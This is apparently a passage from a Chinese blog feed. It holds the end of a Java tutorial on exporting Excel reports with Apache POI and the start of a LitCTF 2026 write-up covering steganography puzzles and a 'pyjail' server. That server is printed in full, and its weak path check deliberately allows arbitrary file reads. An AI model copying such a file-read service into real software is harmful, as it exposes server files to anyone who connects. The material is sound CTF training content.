class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="2-1-使用Apache-POI创建并写入excel"><a href="#2-1-使用Apache-POI创建并写入excel" class="headerlink" title="2.1 使用Apache POI创建并写入excel"></a>2.1 使用Apache POI创建并写入excel</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">write</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">    <span class="comment">//在内存中创建一个Excel文件</span></span><br><span class="line">    <span class="type">XSSFWorkbook</span> <span class="variable">excel</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">XSSFWorkbook</span>();</span><br><span class="line">    <span class="comment">//在Excel文件中创建一个Sheet页</span></span><br><span class="line">    <span class="type">XSSFSheet</span> <span class="variable">sheet</span> <span class="operator">=</span> excel.createSheet(<span class="string">&quot;info&quot;</span>);</span><br><span class="line">    <span class="comment">//在Sheet中创建行对象,rownum编号从0开始</span></span><br><span class="line">    <span class="type">XSSFRow</span> <span class="variable">row</span> <span class="operator">=</span> sheet.createRow(<span class="number">1</span>);</span><br><span class="line">    <span class="comment">//创建单元格并且写入文件内容</span></span><br><span class="line">    row.createCell(<span class="number">1</span>).setCellValue(<span class="string">&quot;姓名&quot;</span>);</span><br><span class="line">    row.createCell(<span class="number">2</span>).setCellValue(<span class="string">&quot;城市&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//创建一个新行</span></span><br><span class="line">    row = sheet.createRow(<span class="number">2</span>);</span><br><span class="line">    row.createCell(<span class="number">1</span>).setCellValue(<span class="string">&quot;张三&quot;</span>);</span><br><span class="line">    row.createCell(<span class="number">2</span>).setCellValue(<span class="string">&quot;北京&quot;</span>);</span><br><span class="line"></span><br><span class="line">    row = sheet.createRow(<span class="number">3</span>);</span><br><span class="line">    row.createCell(<span class="number">1</span>).setCellValue(<span class="string">&quot;李四&quot;</span>);</span><br><span class="line">    row.createCell(<span class="number">2</span>).setCellValue(<span class="string">&quot;南京&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//通过输出流将内存中的Excel文件写入到磁盘</span></span><br><span class="line">    <span class="type">FileOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;D:\\info.xlsx&quot;</span>));</span><br><span class="line">    excel.write(out);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">//关闭资源</span></span><br><span class="line">    excel.close();</span><br><span class="line">    out.close();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-2-使用Apache-POI-读出excel内容"><a href="#2-2-使用Apache-POI-读出excel内容" class="headerlink" title="2.2 使用Apache POI 读出excel内容"></a>2.2 使用Apache POI 读出excel内容</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">read</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">    <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;D:\\info.xlsx&quot;</span>));</span><br><span class="line">    </span><br><span class="line">    <span class="comment">//读取磁盘上已经存在的Excel文件</span></span><br><span class="line">    <span class="type">XSSFWorkbook</span> <span class="variable">excel</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">XSSFWorkbook</span>(in);</span><br><span class="line">    <span class="comment">//读取Excel文件中的第一个Sheet页</span></span><br><span class="line">    <span class="type">XSSFSheet</span> <span class="variable">sheet</span> <span class="operator">=</span> excel.getSheetAt(<span class="number">0</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">//获取Sheet中最后一行的行号</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">lastRowNum</span> <span class="operator">=</span> sheet.getLastRowNum();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= lastRowNum ; i++) &#123;</span><br><span class="line">        <span class="comment">//获得某一行</span></span><br><span class="line">        <span class="type">XSSFRow</span> <span class="variable">row</span> <span class="operator">=</span> sheet.getRow(i);</span><br><span class="line">        <span class="comment">//获得单元格对象</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">cellValue1</span> <span class="operator">=</span> row.getCell(<span class="number">1</span>).getStringCellValue();</span><br><span class="line">        <span class="type">String</span> <span class="variable">cellValue2</span> <span class="operator">=</span> row.getCell(<span class="number">2</span>).getStringCellValue();</span><br><span class="line">        System.out.println(cellValue1 + <span class="string">&quot; &quot;</span> + cellValue2);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">//关闭资源</span></span><br><span class="line">    in.close();</span><br><span class="line">    excel.close();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-3-本项目中使用POI实现运营数据下载"><a href="#2-3-本项目中使用POI实现运营数据下载" class="headerlink" title="2.3 本项目中使用POI实现运营数据下载"></a>2.3 本项目中使用POI实现运营数据下载</h4><p>这个接口的功能是生成一个 Excel 文件，让浏览器下载。需要用HttpServletResponse获取后端要返回给浏览器的 HTTP 响应。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 导出运营数据表</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@GetMapping</span>(<span class="string">&quot;/export&quot;</span>)</span><br><span class="line"><span class="meta">@ApiOperation</span>(<span class="string">&quot;导出运营数据表&quot;</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="built_in">void</span> <span class="title function_">export</span>(<span class="params"><span class="title class_">HttpServletResponse</span> response</span>)&#123;</span><br><span class="line">    reportService.<span class="title function_">exportBusinessDate</span>(response);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>具体功能实现在service层实现，根据数据模板要查询的数据包括概览数据和详细数据。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=NTY4ZTU1ZWI4OTZkMGRkZTQ5OWY3NzA4NjIzY2IwMjBfUW9vcUl1WG5pNTlUbVJiMHllVWRzeWIzNjNlU3h4cUtfVG9rZW46SjZ0TmJFOFFUb2RZVm54NjNlM2NveXFBbkxnXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>创建XSSFWorkbook时可以传入InputStream参数，作为创建的excel的模板，获取excel文件的sheet之后依次获取行、列进行填充。</p><p>填充完<em>通过输出流将Excel文件下载到客户端浏览器，最后关闭资源。</em></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 导出运营数据报表</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> response</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">exportBusinessData</span><span class="params">(HttpServletResponse response)</span> &#123;</span><br><span class="line">    <span class="comment">//1. 查询数据库，获取营业数据---查询最近30天的运营数据</span></span><br><span class="line">    <span class="type">LocalDate</span> <span class="variable">dateBegin</span> <span class="operator">=</span> LocalDate.now().minusDays(<span class="number">30</span>);</span><br><span class="line">    <span class="type">LocalDate</span> <span class="variable">dateEnd</span> <span class="operator">=</span> LocalDate.now().minusDays(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//查询概览数据</span></span><br><span class="line">    <span class="type">BusinessDataVO</span> <span class="variable">businessDataVO</span> <span class="operator">=</span> workspaceService.getBusinessData(LocalDateTime.of(dateBegin, LocalTime.MIN), LocalDateTime.of(dateEnd, LocalTime.MAX));</span><br><span class="line"></span><br><span class="line">    <span class="comment">//2. 通过POI将数据写入到Excel文件中</span></span><br><span class="line">    <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="built_in">this</span>.getClass().getClassLoader().getResourceAsStream(<span class="string">&quot;template/运营数据报表模板.xlsx&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">//基于模板文件创建一个新的Excel文件</span></span><br><span class="line">        <span class="type">XSSFWorkbook</span> <span class="variable">excel</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">XSSFWorkbook</span>(in);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//获取表格文件的Sheet页</span></span><br><span class="line">        <span class="type">XSSFSheet</span> <span class="variable">sheet</span> <span class="operator">=</span> excel.getSheet(<span class="string">&quot;Sheet1&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//填充数据--时间</span></span><br><span class="line">        sheet.getRow(<span class="number">1</span>).getCell(<span class="number">1</span>).setCellValue(<span class="string">&quot;时间：&quot;</span> + dateBegin + <span class="string">&quot;至&quot;</span> + dateEnd);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//获得第4行</span></span><br><span class="line">        <span class="type">XSSFRow</span> <span class="variable">row</span> <span class="operator">=</span> sheet.getRow(<span class="number">3</span>);</span><br><span class="line">        row.getCell(<span class="number">2</span>).setCellValue(businessDataVO.getTurnover());</span><br><span class="line">        row.getCell(<span class="number">4</span>).setCellValue(businessDataVO.getOrderCompletionRate());</span><br><span class="line">        row.getCell(<span class="number">6</span>).setCellValue(businessDataVO.getNewUsers());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//获得第5行</span></span><br><span class="line">        row = sheet.getRow(<span class="number">4</span>);</span><br><span class="line">        row.getCell(<span class="number">2</span>).setCellValue(businessDataVO.getValidOrderCount());</span><br><span class="line">        row.getCell(<span class="number">4</span>).setCellValue(businessDataVO.getUnitPrice());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//填充明细数据</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">30</span>; i++) &#123;</span><br><span class="line">            <span class="type">LocalDate</span> <span class="variable">date</span> <span class="operator">=</span> dateBegin.plusDays(i);</span><br><span class="line">            <span class="comment">//查询某一天的营业数据</span></span><br><span class="line">            <span class="type">BusinessDataVO</span> <span class="variable">businessData</span> <span class="operator">=</span> workspaceService.getBusinessData(LocalDateTime.of(date, LocalTime.MIN), LocalDateTime.of(date, LocalTime.MAX));</span><br><span class="line"></span><br><span class="line">            <span class="comment">//获得某一行</span></span><br><span class="line">            row = sheet.getRow(<span class="number">7</span> + i);</span><br><span class="line">            row.getCell(<span class="number">1</span>).setCellValue(date.toString());</span><br><span class="line">            row.getCell(<span class="number">2</span>).setCellValue(businessData.getTurnover());</span><br><span class="line">            row.getCell(<span class="number">3</span>).setCellValue(businessData.getValidOrderCount());</span><br><span class="line">            row.getCell(<span class="number">4</span>).setCellValue(businessData.getOrderCompletionRate());</span><br><span class="line">            row.getCell(<span class="number">5</span>).setCellValue(businessData.getUnitPrice());</span><br><span class="line">            row.getCell(<span class="number">6</span>).setCellValue(businessData.getNewUsers());</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//3. 通过输出流将Excel文件下载到客户端浏览器</span></span><br><span class="line">        <span class="type">ServletOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> response.getOutputStream();</span><br><span class="line">        excel.write(out);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//关闭资源</span></span><br><span class="line">        out.close();</span><br><span class="line">        excel.close();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://everythingis-ok.github.io/2026/08/05/%E8%8B%8D%E7%A9%B9%E5%A4%96%E5%8D%96%E9%A1%B9%E7%9B%AE%E6%80%BB%E7%BB%93/</id>
    <link href="https://everythingis-ok.github.io/2026/08/05/%E8%8B%8D%E7%A9%B9%E5%A4%96%E5%8D%96%E9%A1%B9%E7%9B%AE%E6%80%BB%E7%BB%93/"/>
    <published>2026-08-04T16:14:24.000Z</published>
    <summary>
      <![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>博主写苍穹外卖本来是打算熟悉一下java环境和基本框架，为后续写其他项目积累一点经验，本来没有留下什么关于技术栈的总结，偶然看到这篇博客<a]]>
    </summary>
    <title>苍穹外卖项目总结</title>
    <updated>2026-08-21T14:32:35.400Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="LitCTF-2026-全方向wp"><a href="#LitCTF-2026-全方向wp" class="headerlink" title="LitCTF 2026 全方向wp"></a>LitCTF 2026 全方向wp</h1><h1 id="misc"><a href="#misc" class="headerlink" title="misc"></a>misc</h1><h2 id="LitCTF2026-lit-lsb-base64"><a href="#LitCTF2026-lit-lsb-base64" class="headerlink" title="[LitCTF2026] lit_lsb_base64"></a>[LitCTF2026] lit_lsb_base64</h2><p>直接说了lsb隐写 用随波逐流看各通道隐写信息</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779500681122-c144cff3-22a3-4c7d-a6a7-87ffa3f388ab.png" alt="img"></p><p>对隐写数据base64解码</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779500717428-76db7582-b4f3-4fb9-a264-98a17ab096de.png" alt="img"></p><h2 id="LitCTF2026-lit-rush-qr"><a href="#LitCTF2026-lit-rush-qr" class="headerlink" title="[LitCTF2026] lit_rush_qr"></a>[LitCTF2026] lit_rush_qr</h2><p>帧提取出残缺的二维码 可以看出二维码缺少定位符</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779500761749-228acf2f-dff2-470b-9abd-f9a726fbb777.png" alt="img"></p><p>使用在线工具补齐二维码</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779500808160-3b03a884-1d6a-4b42-b8be-2a10b392b985.png" alt="img"></p><h2 id="LitCTF2026-lit-sstv"><a href="#LitCTF2026-lit-sstv" class="headerlink" title="[LitCTF2026] lit_sstv"></a>[LitCTF2026] lit_sstv</h2><p>sstv在线解码工具 <a href="https://sstv-decoder.mathieurenaud.fr/">https://sstv-decoder.mathieurenaud.fr/</a></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779500955772-3530b776-d3e4-44bf-8529-e0fe992c61d7.png" alt="img"></p><p>flag: LitCTF{sstv_p4t13nc3}</p><h2 id="LitCTF2026-lit-welcome"><a href="#LitCTF2026-lit-welcome" class="headerlink" title="[LitCTF2026] lit_welcome"></a>[LitCTF2026] lit_welcome</h2><p>图片背景是纯白，用pixpix简单过一下发现像素全是（255，255，255）有的是(254，255，255)</p><p>R 通道最低位 LSB 被改了，看0通道隐写数据。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779501394713-a56e84de-8555-40f4-917c-7dbd26d0ab53.png" alt="img"></p><h2 id="LitCTF2026-lit-pyjail-reader"><a href="#LitCTF2026-lit-pyjail-reader" class="headerlink" title="[LitCTF2026] lit_pyjail_reader"></a>[LitCTF2026] lit_pyjail_reader</h2><p>题目附件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;LitCTF — 入门 Pyjail：验证码 + 按指引两次只读文件（无 RCE）。&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> secrets</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;0.0.0.0&quot;</span></span><br><span class="line">PORT = <span class="number">9999</span></span><br><span class="line">MAX_QUEUED = <span class="number">64</span></span><br><span class="line">MAX_LINE = <span class="number">512</span></span><br><span class="line">MAX_FILE = <span class="number">4096</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recv_line</span>(<span class="params">conn: socket.socket</span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    data = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">len</span>(data) &lt; MAX_LINE:</span><br><span class="line">        chunk = conn.recv(<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> chunk:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> chunk == <span class="string">b&quot;\n&quot;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        data += chunk</span><br><span class="line">    <span class="keyword">return</span> data.decode(<span class="string">&quot;utf-8&quot;</span>, errors=<span class="string">&quot;replace&quot;</span>).strip()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">safe_read</span>(<span class="params">path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    p = path.strip()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> p <span class="keyword">or</span> p.startswith(<span class="string">&quot;-&quot;</span>) <span class="keyword">or</span> <span class="string">&quot;\x00&quot;</span> <span class="keyword">in</span> p:</span><br><span class="line">        <span class="keyword">raise</span> ValueError(<span class="string">&quot;invalid path&quot;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(p, <span class="string">&quot;r&quot;</span>, errors=<span class="string">&quot;replace&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">return</span> f.read(MAX_FILE)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">handle</span>(<span class="params">conn: socket.socket</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        conn.settimeout(<span class="number">120</span>)</span><br><span class="line">        alphabet = string.ascii_uppercase</span><br><span class="line">        challenge = <span class="string">&quot;&quot;</span>.join(secrets.choice(alphabet) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>))</span><br><span class="line">        conn.sendall(</span><br><span class="line">            <span class="string">f&quot;Please enter the reverse of &#x27;<span class="subst">&#123;challenge&#125;</span>&#x27; to continue: &quot;</span>.encode()</span><br><span class="line">        )</span><br><span class="line">        ans = recv_line(conn)</span><br><span class="line">        <span class="keyword">if</span> ans != challenge[::-<span class="number">1</span>]:</span><br><span class="line">            conn.sendall(<span class="string">b&quot;Wrong reverse string. Bye.\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        conn.sendall(</span><br><span class="line">            <span class="string">b&quot;Good.\n&quot;</span></span><br><span class="line">            <span class="string">b&quot;Step 1: read /app/where_is_flag.txt (it contains the flag path).\n&quot;</span></span><br><span class="line">            <span class="string">b&quot;Step 2: read that path.\n&quot;</span></span><br><span class="line">            <span class="string">b&quot;File path (1/2): &quot;</span></span><br><span class="line">        )</span><br><span class="line">        p1 = recv_line(conn)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            c1 = safe_read(p1)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            conn.sendall(<span class="string">f&quot;Error: <span class="subst">&#123;e&#125;</span>\n&quot;</span>.encode(errors=<span class="string">&quot;replace&quot;</span>))</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        conn.sendall(<span class="string">b&quot;--- begin ---\n&quot;</span>)</span><br><span class="line">        conn.sendall(c1.encode(errors=<span class="string">&quot;replace&quot;</span>))</span><br><span class="line">        conn.sendall(<span class="string">b&quot;\n--- end ---\nFile path (2/2): &quot;</span>)</span><br><span class="line">        p2 = recv_line(conn)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            c2 = safe_read(p2)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            conn.sendall(<span class="string">f&quot;Error: <span class="subst">&#123;e&#125;</span>\n&quot;</span>.encode(errors=<span class="string">&quot;replace&quot;</span>))</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        conn.sendall(c2.encode(errors=<span class="string">&quot;replace&quot;</span>))</span><br><span class="line">        conn.sendall(<span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">    <span class="keyword">finally</span>:</span><br><span class="line">        conn.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <span class="number">1</span>)</span><br><span class="line">    srv.bind((HOST, PORT))</span><br><span class="line">    srv.listen(MAX_QUEUED)</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        client, _ = srv.accept()</span><br><span class="line">        threading.Thread(target=handle, args=(client,), daemon=<span class="literal">True</span>).start()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>safe_read文件读取函数做了简单的安全防御</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">safe_read</span>(<span class="params">path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    p = path.strip()</span><br><span class="line">    <span class="comment"># 防御：路径不能为空、不能以 &quot;-&quot; 开头（防止某些命令注入误用）、不能包含空字符 \x00</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> p <span class="keyword">or</span> p.startswith(<span class="string">&quot;-&quot;</span>) <span class="keyword">or</span> <span class="string">&quot;\x00&quot;</span> <span class="keyword">in</span> p:</span><br><span class="line">        <span class="keyword">raise</span> ValueError(<span class="string">&quot;invalid path&quot;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(p, <span class="string">&quot;r&quot;</span>, errors=<span class="string">&quot;replace&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">return</span> f.read(MAX_FILE) <span class="comment"># 最多读取 4096 个字节，防止大文件撑爆内存</span></span><br></pre></td></tr></table></figure><p> 当玩家连接成功后，整个交互流程在 <code>handle</code> 函数中展开，分为以下三个阶段：  </p><h3 id="1-验证码反转字符串"><a href="#1-验证码反转字符串" class="headerlink" title="1.验证码反转字符串"></a>1.验证码反转字符串</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">alphabet = string.ascii_uppercase</span><br><span class="line">challenge = <span class="string">&quot;&quot;</span>.join(secrets.choice(alphabet) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>))</span><br><span class="line">conn.sendall(<span class="string">f&quot;Please enter the reverse of &#x27;<span class="subst">&#123;challenge&#125;</span>&#x27; to continue: &quot;</span>.encode())</span><br><span class="line">ans = recv_line(conn)</span><br><span class="line"><span class="keyword">if</span> ans != challenge[::-<span class="number">1</span>]:</span><br><span class="line">    conn.sendall(<span class="string">b&quot;Wrong reverse string. Bye.\n&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span></span><br></pre></td></tr></table></figure><p>逻辑：程序随机生成一个 8 位的大写字母字符串（例如 <code>ABCDEFGH</code>）。</p><p>要求：玩家必须在网络端输入这个字符串的反转结果（例如 <code>HGFEDCBA</code>）。如果答错，连接直接断开。</p><h3 id="2-第一步文件读取（寻找-Flag-路径）"><a href="#2-第一步文件读取（寻找-Flag-路径）" class="headerlink" title="2. 第一步文件读取（寻找 Flag 路径）"></a>2. 第一步文件读取（寻找 Flag 路径）</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">conn.sendall(</span><br><span class="line">    <span class="string">b&quot;Good.\n&quot;</span></span><br><span class="line">    <span class="string">b&quot;Step 1: read /app/where_is_flag.txt (it contains the flag path).\n&quot;</span></span><br><span class="line">    <span class="string">b&quot;Step 2: read that path.\n&quot;</span></span><br><span class="line">    <span class="string">b&quot;File path (1/2): 